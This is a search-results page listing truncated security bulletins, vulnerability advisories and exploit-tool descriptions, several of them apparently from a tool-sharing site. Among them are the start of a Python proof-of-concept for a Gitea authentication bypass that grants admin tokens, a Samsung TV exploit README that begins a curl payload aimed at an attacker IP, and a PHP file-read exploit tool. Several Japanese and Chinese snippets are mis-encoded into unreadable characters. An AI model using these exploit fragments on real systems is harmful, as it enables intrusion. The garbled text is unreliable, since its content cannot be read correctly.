265461 matches found
Security Bulletin: Vulnerabilities in Spring, Tomcat, Netty, PostCSS might affect IBM Storage Protect Plus
Summary IBM Spectrum Protect Plus can be affected by vulnerabilities in PostCSS, Spring, HttpClient, Netty, Tomcat, Jackson-Core, RabbitMQ, urllib3, and Node.js. Vulnerabilities include exposure of sensitive information to an unauthorized actor, authentication bypass by primary weakness, improper...
Regular Expression Denial of Service (ReDoS)
Overview GitPython is a python library used to interact with Git repositories Affected versions of this package are vulnerable to Regular Expression Denial of Service ReDoS via the Actor.fromstring parsing in git/util.py. An attacker can exhaust CPU and stall commit metadata access by supplying a...
CVE-2026-20896
ę¦åæµå®čؼć³ć¼ć CVE-2026-20896 ćć®ć¹ćÆćŖćććÆćGitea API ć®ć«ć¼ćę¤čؼć«ćććććøććÆć®ę¬ é„ćčŖåēć«ęŖēØććčŖčؼćććć¼å ć®ćć£ć¬ćÆććŖćć©ćć¼ćµć«ę»ęćéćć¦ćµć¼ćć¼ć«ęå¹ćŖē®”ēćć¼ćÆć³ćå¼·å¶ēć«ä»äøććć¾ćć root@kitploit: !/usr/bin/env python3 PoC: Gitea čŖčؼćć¤ćć¹ CVE-2026-20896 ē®”ēćććē°å¢ććć³čŖå®ē£ę» CTF å°ēØ import requests import sys import argparse def exponebypasstargetip, username: print...
regipy
regipy ā ļø Breaking Changes in v6.0.0 Version 6.0.0 includes significant modernization changes: Python 3.9+ required - Dropped support for Python 3.6, 3.7, and 3.8 attrs library removed - Data classes now use Python's built-in dataclasses module If your code imports internal classes Cell,...
regipy
regipy ā ļø Breaking Changes in v6.0.0 Version 6.0.0 includes significant modernization changes: Python 3.9+ required - Dropped support for Python 3.6, 3.7, and 3.8 attrs library removed - Data classes now use Python's built-in dataclasses module If your code imports internal classes Cell,...
Vulnerabilities found in various SAP products
SAP has identified vulnerabilities in the SAP Extended Passport Protocol EPP processing library, SAP NetWeaver Message Server, the @sap/cds-mtxs NPM library, SAP GUI for Java, SAP ABAP Development Tools for SAP NetWeaver AS ABAP, SAP Integration Suite, SAP NetWeaver Business Client, SAP Web...
synodecrypt
SynoDecrypt ēØäŗč§£åÆęę Synology å åÆå½ę”£ļ¼SPKćPAT ēļ¼ēå·„å ·ć éåå·„ēØå·„ä½ēčƦē»čÆ“ęč§ę们ēå客ęē« ć å®č£ root@kitploit: pip install -r requirements.txt ēØę³ é¦å éč¦ęåå åÆåÆé„ļ¼å¹¶å°å®ä»¬ę¾å „äøäøŖ JSON ę件ļ¼ä¾å¦ keys.jsonļ¼äøć čÆ„ JSON ę件åæ é”»éēØ仄äøę ¼å¼ļ¼ root@kitploit: "keypairs": "keytypes": 0, 1, 2, "signing": "hexsigningkey", "master": "hexmasterkey" , "keytypes...
samsung-q60t-exploit
Tizen ę¼ę“å©ēØ ęčæ° åØ Grehack 2021 äøå±ē¤ŗēę¼ę“å©ēØäøåŗä»¶č§£åÆčę¬ć å¹»ēÆēåÆåØ slides ē®å½äøč·åļ¼éęč§é¢åÆåØ Youtube äøč§ēć ē®å½ čÆ„ä»åŗå å«äøäøŖē®å½ļ¼ exploit/: å å« v8 ę¼ę“å©ēØåå ę øę¼ę“å©ēØļ¼ firmware/: å å«åŗä»¶č§£åÆčę¬ slides/: å å«åØ grehack äøå±ē¤ŗēå ³äŗę¤é”¹å·„ä½ēę¼ē¤ŗęēØæ ę¼ę“å©ēØ é¦å ļ¼ä½ éč¦äæ®ę¹ payload.c äøēę»å»č IPļ¼ .. code-block:: c root@kitploit: char cmdbusybox = "/usr/bin/curl...
php_filter_chains_oracle_exploit
PHP čæ껤åØé¾ļ¼åŗäŗéčÆÆé¢čØęŗēę件čÆ»å čÆ„ CLI ēØäŗå©ēØå PHP čæ껤åØé¾äøåŗäŗéčÆÆåę¾ēé¢čØęŗļ¼error-based oracleļ¼ęåƼč“ēę件čÆ»åå½±åēåę°ćå½čæäŗåę°č¢«ä¼ éē» filećhashfilećfilegetcontents ę copy ēčå¼±å½ę°ę¶ļ¼å³ä½æęå”åØäøčæåę件å 容ļ¼čÆ„å·„å ·ä¹č½ę³é²ę¬å°ę件ēå 容ļ¼ åŖč¦åƹę件å 容ę§č”äŗęē§ęä½ļ¼å¹¶äøå®ę“ URI åÆę§ļ¼čÆ„å½ę°å°±ä¼åå° php://filter...
SUSE-SU-2026:3595-1 Security update for the Linux Kernel
The SUSE Linux Enterprise 15 SP5 kernel was updated to fix various security issues: The following security issues were fixed: - CVE-2022-4994: KVM: x86: wean fast IN from emulatorpioin bsc1273097. - CVE-2023-53995: net: ipv4: fix one memleak in inetdelifa bsc1255616. - CVE-2024-38542: RDMA/manaib...
CVE-2026-66066
šØ CVE-2026-66066 ā KindaRails2Shell Pre-Authentication Remote Code Execution RCE in Ruby on Rails Active Storage Educational security research repository for CVE-2026-66066 "KindaRails2Shell". This repository is intended for security research, vulnerability analysis, detection, and defensive...
CVE-2026-33715
CVE-2026-33715 ā Unauthenticated SSRF + Open Email Relay in Chamilo LMS via install.ajax.php Severity : High CVSS 7.2 CWE : CWE-918 SSRF + CWE-306 Missing Authentication Affected : chamilo/chamilo-lms 2.0-RC.2 Fixed in : 2.0-RC.3 Advisory : GHSA-mxc9-9335-45mc NVD :...
RLSA-2026:65116 Important: opentelemetry-collector security update
Collector with the supported components for a Rocky Enterprise Software Foundation build of OpenTelemetry Security Fixes: net/mail: golang: net/mail: Denial of Service via pathological email address parsing CVE-2026-42499 net/mail: golang: Go net/mail: Denial of Service via crafted email inputs...
kernel security, bug fix, and enhancement update
An update is available for kernel. This update affects Rocky Linux 10. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list The kernel packages contain the Linux kernel, the core of any Linux operating...
opentelemetry-collector security update
An update is available for opentelemetry-collector. This update affects Rocky Linux 10. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list Collector with the supported components for a Rocky Enterpri...
RLSA-2026:64775 Important: kernel security, bug fix, and enhancement update
The kernel packages contain the Linux kernel, the core of any Linux operating system. Security Fixes: kernel: can: bcm: add locking for bcmop runtime updates CVE-2025-38004 kernel: ipv6: add NULL checks for idev in SRv6 paths CVE-2026-23442 kernel: udp: Fix wildcard bind conflict check when using...
RLSA-2026:65117 Important: opentelemetry-collector security update
Collector with the supported components for a Rocky Enterprise Software Foundation build of OpenTelemetry Security Fixes: net/mail: golang: net/mail: Denial of Service via pathological email address parsing CVE-2026-42499 net/mail: golang: Go net/mail: Denial of Service via crafted email inputs...
osbuild-composer security update
An update is available for osbuild-composer. This update affects Rocky Linux 9. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list A service for building customized OS artifacts, such as VM images an...
RLSA-2026:65153 Important: osbuild-composer security update
A service for building customized OS artifacts, such as VM images and OSTree commits, that uses osbuild under the hood. Besides building images for local usage, it can also upload images directly to cloud. It is compatible with composer-cli and cockpit-composer clients. Security Fixes: net/mail:...
opentelemetry-collector security update
An update is available for opentelemetry-collector. This update affects Rocky Linux 9. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the CVE list Collector with the supported components for a Rocky Enterpris...